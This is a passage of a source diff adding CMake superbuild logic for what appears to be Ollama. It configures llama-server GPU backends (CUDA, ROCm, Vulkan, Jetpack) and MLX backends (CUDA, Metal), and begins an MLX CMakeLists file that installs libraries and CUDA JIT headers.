+        message(FATAL_ERROR "ollama_add_llama_server_build(${name}) requires TARGETS")
+    endif()
+
+    if(WIN32 AND name STREQUAL "vulkan")
+        # The Vulkan shader generator nests deeply enough to hit Windows MAX_PATH.
+        set(_build_dir ${CMAKE_BINARY_DIR}/ls-vk)
+    else()
+        set(_build_dir ${CMAKE_BINARY_DIR}/llama-server-${name})
+    endif()
+    ollama_collect_cache_args_with_prefix("GGML_" _ggml_cache_args)
+    ollama_collect_cache_args_with_prefix("LLAMA_" _llama_cache_args)
+    set(_cmake_args
+        -DCMAKE_BUILD_TYPE=${CMAKE_BUILD_TYPE}
+        -DCMAKE_INSTALL_PREFIX=${OLLAMA_PAYLOAD_INSTALL_PREFIX}
+        -DOLLAMA_LIB_DIR:STRING=${OLLAMA_LIB_DIR}
+        -DOLLAMA_RUNNER_DIR=${ARG_RUNNER_DIR}
+        -DFETCHCONTENT_SOURCE_DIR_LLAMA_CPP=${OLLAMA_LLAMA_CPP_SOURCE_DIR}
+        -DOLLAMA_LLAMA_CPP_SKIP_COMPAT_PATCH=ON
+        -DGGML_NATIVE=OFF
+        -DGGML_OPENMP=OFF
+        ${ARG_CMAKE_ARGS}
+        ${_ggml_cache_args}
+        ${_llama_cache_args}
+    )
+
+    if(APPLE)
+        if(CMAKE_OSX_ARCHITECTURES)
+            list(APPEND _cmake_args
+                -DCMAKE_OSX_ARCHITECTURES=${CMAKE_OSX_ARCHITECTURES})
+        endif()
+        if(CMAKE_OSX_DEPLOYMENT_TARGET)
+            list(APPEND _cmake_args
+                -DCMAKE_OSX_DEPLOYMENT_TARGET=${CMAKE_OSX_DEPLOYMENT_TARGET})
+        endif()
+    endif()
+    # Visual Studio requires -T toolset override to select the correct CUDA toolkit.
+    # MSBuild's CUDA integration ignores -DCUDAToolkit_ROOT for nvcc selection.
+    # Prefer user-specified CUDAToolkit_ROOT before falling back to auto-discovery.
+    set(_generator_args)
+    if(WIN32 AND CMAKE_GENERATOR MATCHES "Visual Studio")
+        set(_cuda_root "${CUDAToolkit_ROOT}")
+        if("${_cuda_root}" STREQUAL "")
+            ollama_backend_cuda_major("${name}" _cuda_major)
+            ollama_find_windows_cuda_root("${_cuda_major}" _cuda_root)
+        endif()
+        if(NOT "${_cuda_root}" STREQUAL "")
+            list(APPEND _generator_args -T cuda=${_cuda_root})
+        endif()
+    endif()
+    set(_configure_command ${CMAKE_COMMAND}
+        ${_generator_args}
+        -S ${CMAKE_SOURCE_DIR}/llama/server
+        -B <BINARY_DIR>
+        ${_cmake_args})
+    if(ARG_PRESET)
+        set(_configure_command ${CMAKE_COMMAND}
+            ${_generator_args}
+            -S ${CMAKE_SOURCE_DIR}/llama/server
+            --preset ${ARG_PRESET}
+            -B <BINARY_DIR>
+            ${_cmake_args})
+    endif()
+    ExternalProject_Add(ollama-llama-server-${name}
+        SOURCE_DIR ${CMAKE_SOURCE_DIR}/llama/server
+        BINARY_DIR ${_build_dir}
+        CONFIGURE_COMMAND ${_configure_command}
+        BUILD_COMMAND ${OLLAMA_NATIVE_BUILD_TOOL_COMMAND}
+            ${OLLAMA_NATIVE_CONFIG_ARG}
+            ${OLLAMA_NATIVE_BUILD_TARGET_ARG} ${ARG_TARGETS}
+        INSTALL_COMMAND ${CMAKE_COMMAND} --install <BINARY_DIR>
+            ${OLLAMA_NATIVE_CONFIG_ARG}
+            --component llama-server
+        DEPENDS ollama-llama-cpp-source
+        LIST_SEPARATOR |
+        # ExternalProject cannot reliably infer when nested FetchContent
+        # sources, compat patches, or forwarded GGML/LLAMA cache settings need
+        # a rebuild. Always entering the sub-build keeps direct `cmake --build`
+        # iteration correct; the nested generator still performs incremental
+        # compilation.
+        BUILD_ALWAYS TRUE
+        ${OLLAMA_NATIVE_EXTERNAL_OPTIONS}
+        USES_TERMINAL_CONFIGURE TRUE
+        USES_TERMINAL_BUILD TRUE
+        USES_TERMINAL_INSTALL TRUE)
+endfunction()
+
+function(ollama_add_mlx_build name)
+    cmake_parse_arguments(ARG "" "PRESET;RUNNER_DIR" "CMAKE_ARGS" ${ARGN})
+    if(NOT ARG_RUNNER_DIR)
+        message(FATAL_ERROR "ollama_add_mlx_build(${name}) requires RUNNER_DIR")
+    endif()
+
+    set(_build_dir ${CMAKE_BINARY_DIR}/${ARG_RUNNER_DIR})
+    ollama_collect_cache_args_with_prefix("MLX_" _mlx_cache_args)
+    set(_cmake_args
+        -DCMAKE_BUILD_TYPE=${CMAKE_BUILD_TYPE}
+        -DCMAKE_INSTALL_PREFIX=${OLLAMA_PAYLOAD_INSTALL_PREFIX}
+        -DOLLAMA_LIB_DIR:STRING=${OLLAMA_LIB_DIR}
+        -DOLLAMA_RUNNER_DIR=${ARG_RUNNER_DIR}
+        -DOLLAMA_SOURCE_DIR=${CMAKE_SOURCE_DIR}
+        -DFETCHCONTENT_SOURCE_DIR_MLX=${OLLAMA_MLX_SOURCE_DIR}
+        -DFETCHCONTENT_SOURCE_DIR_MLX-C=${OLLAMA_MLX_C_SOURCE_DIR}
+        -DOLLAMA_MLX_GENERATE_WRAPPERS=OFF
+        ${ARG_CMAKE_ARGS}
+        ${_mlx_cache_args}
+    )
+    foreach(_arg IN ITEMS
+            BLAS_INCLUDE_DIRS
+            LAPACK_INCLUDE_DIRS
+            CUDAToolkit_ROOT
+            CUDNN_ROOT_DIR
+            CUDNN_INCLUDE_PATH
+            CUDNN_LIBRARY_PATH
+            CMAKE_CUDA_COMPILER
+            CMAKE_CUDA_HOST_COMPILER
+            CMAKE_INCLUDE_PATH
+            CMAKE_LIBRARY_PATH
+            CMAKE_PREFIX_PATH)
+        ollama_append_cache_arg_if_set(_cmake_args ${_arg})
+    endforeach()
+
+    if(APPLE)
+        if(CMAKE_OSX_ARCHITECTURES)
+            list(APPEND _cmake_args
+                -DCMAKE_OSX_ARCHITECTURES=${CMAKE_OSX_ARCHITECTURES})
+        endif()
+    endif()
+    set(_configure_command ${CMAKE_COMMAND}
+        -S ${CMAKE_SOURCE_DIR}/cmake/mlx
+        -B <BINARY_DIR>
+        ${_cmake_args})
+    if(ARG_PRESET)
+        set(_configure_command ${CMAKE_COMMAND}
+            -S ${CMAKE_SOURCE_DIR}/cmake/mlx
+            --preset ${ARG_PRESET}
+            -B <BINARY_DIR>
+            ${_cmake_args})
+    endif()
+
+    ExternalProject_Add(ollama-mlx-${name}
+        SOURCE_DIR ${CMAKE_SOURCE_DIR}/cmake/mlx
+        BINARY_DIR ${_build_dir}
+        CONFIGURE_COMMAND ${_configure_command}
+        BUILD_COMMAND ${OLLAMA_NATIVE_BUILD_TOOL_COMMAND}
+            ${OLLAMA_NATIVE_CONFIG_ARG}
+            ${OLLAMA_NATIVE_BUILD_TARGET_ARG} mlx
+            ${OLLAMA_NATIVE_BUILD_TARGET_ARG} mlxc
+        INSTALL_COMMAND ${CMAKE_COMMAND} --install <BINARY_DIR>
+            ${OLLAMA_NATIVE_CONFIG_ARG}
+            --component MLX
+            COMMAND ${CMAKE_COMMAND} --install <BINARY_DIR>
+            ${OLLAMA_NATIVE_CONFIG_ARG}
+            --component MLX_VENDOR
+        DEPENDS ollama-mlx-sources
+        LIST_SEPARATOR |
+        BUILD_ALWAYS TRUE
+        ${OLLAMA_NATIVE_EXTERNAL_OPTIONS}
+        USES_TERMINAL_CONFIGURE TRUE
+        USES_TERMINAL_BUILD TRUE
+        USES_TERMINAL_INSTALL TRUE)
+endfunction()
+
+find_program(GO_EXECUTABLE go)
+
+if(OLLAMA_MLX_BACKENDS)
+    set(_mlx_c_headers_dir "${OLLAMA_MLX_C_SOURCE_DIR}/mlx/c")
+    set(_mlx_c_headers_dest "${CMAKE_SOURCE_DIR}/x/mlxrunner/mlx/include/mlx/c")
+
+    if(GO_EXECUTABLE AND (NOT APPLE OR CMAKE_SYSTEM_PROCESSOR STREQUAL CMAKE_HOST_SYSTEM_PROCESSOR))
+        add_custom_target(ollama-mlx-generate-wrappers
+            COMMAND ${CMAKE_COMMAND}
+                -DMLX_C_HEADERS_DIR=${_mlx_c_headers_dir}
+                -DMLX_C_HEADERS_DEST=${_mlx_c_headers_dest}
+                -P "${CMAKE_SOURCE_DIR}/cmake/vendor-mlx-c-headers.cmake"
+            COMMAND ${CMAKE_COMMAND} -E env
+                CC= CGO_CFLAGS= CGO_CXXFLAGS=
+                ${GO_EXECUTABLE} generate ./x/...
+            WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}
+            DEPENDS ollama-mlx-sources
+            COMMENT "Regenerating MLX Go wrappers"
+            VERBATIM)
+    else()
+        add_custom_target(ollama-mlx-generate-wrappers
+            COMMAND ${CMAKE_COMMAND} -E echo
+                "Cannot regenerate MLX wrappers while Go is unavailable or while cross-compiling"
+            COMMAND ${CMAKE_COMMAND} -E false
+            DEPENDS ollama-mlx-sources
+            VERBATIM)
+    endif()
+endif()
+
+if(OLLAMA_HAVE_LLAMA_SERVER)
+    if(NOT OLLAMA_GO_OUTPUT)
+        if(WIN32)
+            set(OLLAMA_GO_OUTPUT ${CMAKE_SOURCE_DIR}/ollama.exe)
+        else()
+            set(OLLAMA_GO_OUTPUT ${CMAKE_SOURCE_DIR}/ollama)
+        endif()
+    endif()
+    if(NOT IS_ABSOLUTE "${OLLAMA_GO_OUTPUT}")
+        set(OLLAMA_GO_OUTPUT "${CMAKE_SOURCE_DIR}/${OLLAMA_GO_OUTPUT}")
+    endif()
+    get_filename_component(OLLAMA_GO_OUTPUT "${OLLAMA_GO_OUTPUT}" ABSOLUTE)
+    set(OLLAMA_GO_OUTPUT "${OLLAMA_GO_OUTPUT}" CACHE FILEPATH "Output path for the local Ollama Go binary")
+    get_filename_component(OLLAMA_GO_OUTPUT_DIR "${OLLAMA_GO_OUTPUT}" DIRECTORY)
+
+    set(OLLAMA_GO_LDFLAGS
+        "-s -w -X=github.com/ollama/ollama/version.Version=${OLLAMA_VERSION} -X=github.com/ollama/ollama/server.mode=release")
+    if(GO_EXECUTABLE)
+        add_custom_target(ollama-go ALL
+            COMMAND ${CMAKE_COMMAND} -E make_directory "${OLLAMA_GO_OUTPUT_DIR}"
+            COMMAND ${CMAKE_COMMAND} -E env CGO_ENABLED=1
+                ${GO_EXECUTABLE} build -trimpath -ldflags "${OLLAMA_GO_LDFLAGS}" -o "${OLLAMA_GO_OUTPUT}" .
+            WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}
+            BYPRODUCTS ${OLLAMA_GO_OUTPUT}
+            COMMENT "Building Ollama Go binary"
+            VERBATIM)
+    else()
+        add_custom_target(ollama-go ALL
+            COMMAND ${CMAKE_COMMAND} -E echo
+                "Go executable not found. Install Go or set GO_EXECUTABLE to build the local Ollama binary."
+            COMMAND ${CMAKE_COMMAND} -E false
+            COMMENT "Building Ollama Go binary"
+            VERBATIM)
+    endif()
+
+    set(_cpu_args)
+    if(APPLE AND CMAKE_SYSTEM_PROCESSOR STREQUAL "arm64")
+        list(APPEND _cpu_args
+            -DBUILD_SHARED_LIBS=OFF
+            -DGGML_BACKEND_DL=OFF
+            -DGGML_METAL=ON
+            -DGGML_METAL_EMBED_LIBRARY=ON)
+    else()
+        list(APPEND _cpu_args
+            -DBUILD_SHARED_LIBS=ON
+            -DGGML_BACKEND_DL=ON
+            -DGGML_CPU_ALL_VARIANTS=ON)
+        if(WIN32)
+            list(APPEND _cpu_args -DGGML_OPENMP=ON)
+        endif()
+        if(APPLE)
+            list(APPEND _cpu_args -DGGML_METAL=OFF)
+        endif()
+    endif()
+
+    ollama_add_llama_server_build(local
+        RUNNER_DIR ""
+        TARGETS llama-server llama-quantize
+        CMAKE_ARGS ${_cpu_args})
+
+    add_custom_target(ollama-local ALL
+        DEPENDS ollama-go ollama-llama-server-local
+        COMMENT "Building local Ollama payload")
+
+    install(PROGRAMS "${OLLAMA_GO_OUTPUT}"
+        DESTINATION "${CMAKE_INSTALL_BINDIR}"
+        COMPONENT ollama-local)
+endif()
+
+set(_backend_targets)
+if(OLLAMA_HAVE_LLAMA_SERVER)
+    foreach(_backend IN LISTS OLLAMA_LLAMA_BACKENDS)
+        if(_backend STREQUAL "cuda_v12")
+            ollama_llama_cuda_preset(${_backend} _cuda_preset)
+            set(_cuda_args)
+            ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_ARCHITECTURES)
+            ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_FLAGS)
+            ollama_append_cuda_toolkit_args(_cuda_args ${_backend})
+            ollama_add_llama_server_build(${_backend}
+                PRESET ${_cuda_preset}
+                RUNNER_DIR ${_backend}
+                TARGETS ggml-cuda
+                CMAKE_ARGS ${_cuda_args})
+            list(APPEND _backend_targets ollama-llama-server-${_backend})
+        elseif(_backend STREQUAL "cuda_v13")
+            ollama_llama_cuda_preset(${_backend} _cuda_preset)
+            set(_cuda_args)
+            ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_ARCHITECTURES)
+            ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_FLAGS)
+            ollama_append_cuda_toolkit_args(_cuda_args ${_backend})
+            ollama_add_llama_server_build(${_backend}
+                PRESET ${_cuda_preset}
+                RUNNER_DIR ${_backend}
+                TARGETS ggml-cuda
+                CMAKE_ARGS ${_cuda_args})
+            list(APPEND _backend_targets ollama-llama-server-${_backend})
+        elseif(_backend STREQUAL "rocm_v7_1" OR _backend STREQUAL "rocm_v7_2")
+            # ROCm 7.1 and 7.2 currently share build settings. Keep the backend
+            # names versioned so future packaging can install side-by-side ROCm
+            # payloads without changing the superbuild interface.
+            ollama_rocm_preset(${_backend} _rocm_preset)
+            set(_rocm_args
+                -DBUILD_SHARED_LIBS=ON
+                -DGGML_BACKEND_DL=ON
+                -DGGML_HIP=ON
+                -DCMAKE_HIP_PLATFORM=amd
+                -DOLLAMA_GPU_BACKEND=hip)
+            ollama_append_cache_arg_if_set(_rocm_args AMDGPU_TARGETS)
+            ollama_append_cache_arg_if_set(_rocm_args CMAKE_HIP_ARCHITECTURES)
+            ollama_append_cache_arg_if_set(_rocm_args CMAKE_HIP_FLAGS)
+            ollama_append_cache_arg_if_set(_rocm_args GGML_CUDA_NO_PEER_COPY)
+            ollama_append_cache_arg_if_set(_rocm_args CMAKE_PREFIX_PATH)
+            ollama_add_llama_server_build(${_backend}
+                PRESET ${_rocm_preset}
+                RUNNER_DIR ${_backend}
+                TARGETS ggml-hip
+                CMAKE_ARGS ${_rocm_args})
+            list(APPEND _backend_targets ollama-llama-server-${_backend})
+        elseif(_backend STREQUAL "vulkan")
+            ollama_add_llama_server_build(vulkan
+                RUNNER_DIR vulkan
+                TARGETS ggml-vulkan
+                CMAKE_ARGS
+                    -DBUILD_SHARED_LIBS=ON
+                    -DGGML_BACKEND_DL=ON
+                    -DGGML_VULKAN=ON
+                    -DOLLAMA_GPU_BACKEND=vulkan)
+            list(APPEND _backend_targets ollama-llama-server-vulkan)
+        elseif(_backend STREQUAL "cuda_jetpack5")
+            if(CMAKE_CUDA_ARCHITECTURES)
+                set(_cuda_preset llama_cuda_jetpack5_user_arch)
+            else()
+                set(_cuda_preset llama_cuda_jetpack5)
+            endif()
+            set(_cuda_args)
+            ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_ARCHITECTURES)
+            ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_FLAGS)
+            ollama_add_llama_server_build(${_backend}
+                PRESET ${_cuda_preset}
+                RUNNER_DIR ${_backend}
+                TARGETS ggml-cuda
+                CMAKE_ARGS ${_cuda_args})
+            list(APPEND _backend_targets ollama-llama-server-${_backend})
+        elseif(_backend STREQUAL "cuda_jetpack6")
+            if(CMAKE_CUDA_ARCHITECTURES)
+                set(_cuda_preset llama_cuda_jetpack6_user_arch)
+            else()
+                set(_cuda_preset llama_cuda_jetpack6)
+            endif()
+            set(_cuda_args)
+            ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_ARCHITECTURES)
+            ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_FLAGS)
+            ollama_add_llama_server_build(${_backend}
+                PRESET ${_cuda_preset}
+                RUNNER_DIR ${_backend}
+                TARGETS ggml-cuda
+                CMAKE_ARGS ${_cuda_args})
+            list(APPEND _backend_targets ollama-llama-server-${_backend})
+        else()
+            message(FATAL_ERROR
+                "Unknown OLLAMA_LLAMA_BACKENDS entry '${_backend}'")
+        endif()
+    endforeach()
+endif()
+
+if(_backend_targets)
+    add_custom_target(ollama-llama-server-backends ALL
+        DEPENDS ${_backend_targets}
+        COMMENT "Building llama-server GPU backends")
+endif()
+
+set(_mlx_targets)
+foreach(_backend IN LISTS OLLAMA_MLX_BACKENDS)
+    if(_backend STREQUAL "cuda_v13")
+        ollama_mlx_cuda_preset(_mlx_cuda_preset)
+        set(_mlx_cuda_args)
+        ollama_append_cache_arg_if_set(_mlx_cuda_args CMAKE_CUDA_ARCHITECTURES)
+        ollama_append_cache_arg_if_set(_mlx_cuda_args MLX_CUDA_ARCHITECTURES)
+        ollama_append_cache_arg_if_set(_mlx_cuda_args CMAKE_CUDA_FLAGS)
+        ollama_add_mlx_build(cuda_v13
+            PRESET ${_mlx_cuda_preset}
+            RUNNER_DIR mlx_cuda_v13
+            CMAKE_ARGS ${_mlx_cuda_args})
+        list(APPEND _mlx_targets ollama-mlx-cuda_v13)
+    elseif(_backend STREQUAL "metal_v3")
+        if(NOT APPLE)
+            message(FATAL_ERROR "OLLAMA_MLX_BACKENDS=metal_v3 is only supported on macOS")
+        endif()
+        ollama_check_metal_toolchain(_metal_version)
+        ollama_add_mlx_build(metal_v3
+            PRESET mlx_metal_v3
+            RUNNER_DIR mlx_metal_v3)
+        list(APPEND _mlx_targets ollama-mlx-metal_v3)
+    elseif(_backend STREQUAL "metal_v4")
+        if(NOT APPLE)
+            message(FATAL_ERROR "OLLAMA_MLX_BACKENDS=metal_v4 is only supported on macOS")
+        endif()
+        ollama_check_metal_toolchain(_metal_version)
+        ollama_macos_sdk_major_version(_ollama_mlx_sdk_major)
+        if(_ollama_mlx_sdk_major
+            AND _ollama_mlx_sdk_major VERSION_GREATER_EQUAL 26.2)
+            ollama_add_mlx_build(metal_v4
+                PRESET mlx_metal_v4
+                RUNNER_DIR mlx_metal_v4)
+            list(APPEND _mlx_targets ollama-mlx-metal_v4)
+        else()
+            message(FATAL_ERROR
+                "OLLAMA_MLX_BACKENDS=metal_v4 requires the macOS 26.2 SDK. "
+                "Install a newer Xcode or use OLLAMA_MLX_BACKENDS=metal_v3.")
+        endif()
+    else()
+        message(FATAL_ERROR
+            "Unknown OLLAMA_MLX_BACKENDS entry '${_backend}'")
+    endif()
+endforeach()
+
+if(_mlx_targets)
+    add_custom_target(ollama-mlx-backends ALL
+        DEPENDS ${_mlx_targets}
+        COMMENT "Building MLX backends")
+endif()
+
+install(DIRECTORY "${OLLAMA_PAYLOAD_INSTALL_PREFIX}/${OLLAMA_LIB_DIR}/"
+    DESTINATION "${OLLAMA_LIB_DIR}"
+    COMPONENT ollama-local
+    USE_SOURCE_PERMISSIONS)

cmake/mlx/CMakeLists.txt

@@ -0,0 +1,318 @@
+cmake_minimum_required(VERSION 3.24)
+
+project(OllamaMLX C CXX)
+
+include(CheckLanguage)
+include(GNUInstallDirs)
+
+find_package(Threads REQUIRED)
+
+if(NOT CMAKE_CONFIGURATION_TYPES AND NOT CMAKE_BUILD_TYPE)
+    set(CMAKE_BUILD_TYPE Release CACHE STRING "Build type" FORCE)
+endif()
+
+if(NOT DEFINED BUILD_SHARED_LIBS)
+    set(BUILD_SHARED_LIBS ON)
+endif()
+
+set(CMAKE_CXX_STANDARD 17)
+set(CMAKE_CXX_STANDARD_REQUIRED ON)
+set(CMAKE_CXX_EXTENSIONS ON)
+
+if(APPLE)
+    set(CMAKE_BUILD_RPATH "@loader_path")
+    set(CMAKE_INSTALL_RPATH "@loader_path")
+    set(CMAKE_BUILD_WITH_INSTALL_RPATH ON)
+endif()
+
+if(NOT DEFINED OLLAMA_SOURCE_DIR OR "${OLLAMA_SOURCE_DIR}" STREQUAL "")
+    get_filename_component(OLLAMA_SOURCE_DIR "${CMAKE_CURRENT_LIST_DIR}/../.." ABSOLUTE)
+endif()
+get_filename_component(OLLAMA_SOURCE_DIR "${OLLAMA_SOURCE_DIR}" ABSOLUTE BASE_DIR "${CMAKE_CURRENT_LIST_DIR}")
+set(OLLAMA_SOURCE_DIR "${OLLAMA_SOURCE_DIR}" CACHE PATH "Ollama repository root")
+
+set(OLLAMA_LIB_DIR "lib/ollama" CACHE STRING "Install destination for Ollama runtime payloads")
+set(OLLAMA_RUNNER_DIR "" CACHE STRING "Ollama runtime payload subdirectory")
+set(OLLAMA_BUILD_DIR ${CMAKE_BINARY_DIR}/lib/ollama)
+set(OLLAMA_INSTALL_DIR ${OLLAMA_LIB_DIR}/${OLLAMA_RUNNER_DIR})
+
+set(CMAKE_RUNTIME_OUTPUT_DIRECTORY         ${OLLAMA_BUILD_DIR})
+set(CMAKE_RUNTIME_OUTPUT_DIRECTORY_DEBUG   ${OLLAMA_BUILD_DIR})
+set(CMAKE_RUNTIME_OUTPUT_DIRECTORY_RELEASE ${OLLAMA_BUILD_DIR})
+set(CMAKE_LIBRARY_OUTPUT_DIRECTORY         ${OLLAMA_BUILD_DIR})
+set(CMAKE_LIBRARY_OUTPUT_DIRECTORY_DEBUG   ${OLLAMA_BUILD_DIR})
+set(CMAKE_LIBRARY_OUTPUT_DIRECTORY_RELEASE ${OLLAMA_BUILD_DIR})
+
+if(MLX_CUDA_ARCHITECTURES OR CMAKE_CUDA_ARCHITECTURES)
+    check_language(CUDA)
+endif()
+
+option(OLLAMA_MLX_GENERATE_WRAPPERS "Regenerate MLX Go wrappers" OFF)
+
+message(STATUS "Setting up MLX (this takes a while...)")
+add_subdirectory(${OLLAMA_SOURCE_DIR}/x/imagegen/mlx ${CMAKE_BINARY_DIR}/x/imagegen/mlx)
+
+# Find CUDA toolkit if MLX is built with CUDA support.
+find_package(CUDAToolkit)
+
+# Build list of directories for runtime dependency resolution.
+set(MLX_RUNTIME_DIRS ${CUDAToolkit_BIN_DIR} ${CUDAToolkit_BIN_DIR}/x64 ${CUDAToolkit_LIBRARY_DIR})
+# Add cuDNN bin paths for DLLs (Windows MLX CUDA builds).
+# CUDNN_ROOT_DIR is the standard CMake variable for cuDNN location.
+if(CUDNN_ROOT_DIR)
+    set(_cudnn_root "${CUDNN_ROOT_DIR}")
+elseif(DEFINED ENV{CUDNN_ROOT_DIR})
+    set(_cudnn_root "$ENV{CUDNN_ROOT_DIR}")
+endif()
+if(_cudnn_root)
+    # cuDNN 9.x has versioned subdirectories under bin/ (e.g., bin/13.0/).
+    file(GLOB CUDNN_BIN_SUBDIRS "${_cudnn_root}/bin/*")
+    list(APPEND MLX_RUNTIME_DIRS ${CUDNN_BIN_SUBDIRS})
+endif()
+# Add build output directory and MLX dependency build directories.
+list(APPEND MLX_RUNTIME_DIRS ${OLLAMA_BUILD_DIR})
+# OpenBLAS DLL location (pre-built zip extracts into openblas-src/bin/).
+list(APPEND MLX_RUNTIME_DIRS ${CMAKE_BINARY_DIR}/_deps/openblas-src/bin)
+# NCCL: on Linux, if real NCCL is found, cmake bundles libnccl.so via the
+# regex below. If NCCL is not found, MLX links a static stub (OBJECT lib)
+# so there is no runtime dependency. This path covers the stub build dir
+# for windows so we include the DLL in our dependencies.
+list(APPEND MLX_RUNTIME_DIRS ${CMAKE_BINARY_DIR}/_deps/mlx-build/mlx/distributed/nccl/nccl_stub-prefix/src/nccl_stub-build/Release)
+
+# Base regexes for runtime dependencies (cross-platform).
+set(MLX_INCLUDE_REGEXES cublas cublasLt cudart cufft nvrtc nvrtc-builtins cudnn nccl openblas gfortran)
+# On Windows, also include dl.dll (dlfcn-win32 POSIX emulation layer).
+if(WIN32)
+    list(APPEND MLX_INCLUDE_REGEXES "^dl\\.dll$")
+endif()
+
+# Keep mlx/mlxc targets separate from runtime dependencies so --strip only
+# applies to the binaries we build, not vendor DLLs/libs.
+install(TARGETS mlx mlxc
+    RUNTIME_DEPENDENCY_SET mlx_runtime_deps
+    RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
+    LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
+    FRAMEWORK DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
+)
+install(RUNTIME_DEPENDENCY_SET mlx_runtime_deps
+    DIRECTORIES ${MLX_RUNTIME_DIRS}
+    PRE_INCLUDE_REGEXES ${MLX_INCLUDE_REGEXES}
+    PRE_EXCLUDE_REGEXES ".*"
+    RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX_VENDOR
+    LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX_VENDOR
+)
+
+get_target_property(_MLX_LINK_LIBRARIES mlx LINK_LIBRARIES)
+if(TARGET jaccl AND "jaccl" IN_LIST _MLX_LINK_LIBRARIES)
+    install(TARGETS jaccl
+        RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
+        LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
+        FRAMEWORK DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
+    )
+endif()
+
+# Install the Metal library for macOS arm64 (must be colocated with the binary).
+# Metal backend is only built for arm64, not x86_64.
+if(APPLE AND CMAKE_SYSTEM_PROCESSOR STREQUAL "arm64")
+    install(FILES ${CMAKE_BINARY_DIR}/_deps/mlx-build/mlx/backend/metal/kernels/mlx.metallib
+        DESTINATION ${OLLAMA_INSTALL_DIR}
+        COMPONENT MLX)
+endif()
+
+# Install headers for NVRTC JIT compilation at runtime.
+# MLX's own install rules use the default component so they get skipped by
+# --component MLX. Headers are installed alongside libmlx in OLLAMA_INSTALL_DIR.
+#
+# Layout:
+#   ${OLLAMA_INSTALL_DIR}/include/cccl/            - CCCL headers
+#   ${OLLAMA_INSTALL_DIR}/include/{cute,cutlass}/  - CUTLASS/CUTE headers
+#   ${OLLAMA_INSTALL_DIR}/include/                 - CUDA runtime/core headers
+#
+# MLX's jit_module.cpp resolves JIT support headers from the backend-local
+# include directory. On Linux it also probes current_binary_dir().parent_path()
+# / "include", so we create a symlink from lib/ollama/include to the backend
+# include directory for archive packaging.
+# This will need refinement if we add multiple CUDA versions for MLX in the future.
+# CUDA runtime headers are found via CUDA_PATH env var (set by mlxrunner).
+set(_mlx_jit_cccl_include_dir "")
+if(CUDAToolkit_FOUND)
+    foreach(_dir ${CUDAToolkit_INCLUDE_DIRS})
+        if(EXISTS "${_dir}/cccl/cuda/std")
+            set(_mlx_jit_cccl_include_dir "${_dir}/cccl")
+            break()
+        endif()
+    endforeach()
+endif()
+if(NOT _mlx_jit_cccl_include_dir AND EXISTS ${CMAKE_BINARY_DIR}/_deps/cccl-src/include/cuda)
+    set(_mlx_jit_cccl_include_dir "${CMAKE_BINARY_DIR}/_deps/cccl-src/include")
+endif()
+if(_mlx_jit_cccl_include_dir)
+    foreach(_cccl_dir cuda nv cub thrust)
+        if(EXISTS "${_mlx_jit_cccl_include_dir}/${_cccl_dir}")
+            install(DIRECTORY "${_mlx_jit_cccl_include_dir}/${_cccl_dir}"
+                DESTINATION ${OLLAMA_INSTALL_DIR}/include/cccl
+                COMPONENT MLX)
+        endif()
+    endforeach()
+endif()
+if(EXISTS ${CMAKE_BINARY_DIR}/_deps/cutlass-src/include/cute)
+    install(DIRECTORY ${CMAKE_BINARY_DIR}/_deps/cutlass-src/include/cute
+        DESTINATION ${OLLAMA_INSTALL_DIR}/include
+        COMPONENT MLX)
+    install(DIRECTORY ${CMAKE_BINARY_DIR}/_deps/cutlass-src/include/cutlass
+        DESTINATION ${OLLAMA_INSTALL_DIR}/include
+        COMPONENT MLX)
+endif()
+
+# Install CUDA runtime/core headers needed by MLX JIT kernels.
+# NVIDIA's NVRTC bundled-header model is CUDA Runtime + CCCL, not the entire
+# toolkit include tree. Keep CCCL coherent above, include CUTLASS/CUTE above,
+# and avoid shipping unrelated SDK headers such as NPP, CUPTI, cuRAND, NVML,
+# cuBLAS, cuSPARSE, and cuSOLVER.
+# The Go mlxrunner sets CUDA_PATH to OLLAMA_INSTALL_DIR so MLX finds them at
+# $CUDA_PATH/include via NVRTC --include-path.
+if(CUDAToolkit_FOUND)
+    # CUDAToolkit_INCLUDE_DIRS may be a semicolon-separated list
+    # (e.g. ".../include;.../include/cccl"). Find the entry that
+    # contains the CUDA runtime headers we need.
+    set(_cuda_inc "")
+    foreach(_dir ${CUDAToolkit_INCLUDE_DIRS})
+        if(EXISTS "${_dir}/cuda_runtime_api.h")
+            set(_cuda_inc "${_dir}")
+            break()
+        endif()
+    endforeach()
+    if(NOT _cuda_inc)
+        message(WARNING "Could not find cuda_runtime_api.h in CUDAToolkit_INCLUDE_DIRS: ${CUDAToolkit_INCLUDE_DIRS}")
+    else()
+        set(_dst "${OLLAMA_INSTALL_DIR}/include")
+
+        set(_mlx_jit_cuda_headers
+            builtin_types.h
+            channel_descriptor.h
+            common_functions.h
+            cooperative_groups.h
+            cuComplex.h
+            cuda.h
+            cudaTypedefs.h
+            cuda_awbarrier.h
+            cuda_awbarrier_helpers.h
+            cuda_awbarrier_primitives.h
+            cuda_bf16.h
+            cuda_bf16.hpp
+            cuda_device_runtime_api.h
+            cuda_fp4.h
+            cuda_fp4.hpp
+            cuda_fp6.h
+            cuda_fp6.hpp
+            cuda_fp8.h
+            cuda_fp8.hpp
+            cuda_fp16.h
+            cuda_fp16.hpp
+            cuda_occupancy.h
+            cuda_pipeline.h
+            cuda_pipeline_helpers.h
+            cuda_pipeline_primitives.h
+            cuda_runtime.h
+            cuda_runtime_api.h
+            cuda_stdint.h
+            cudart_platform.h
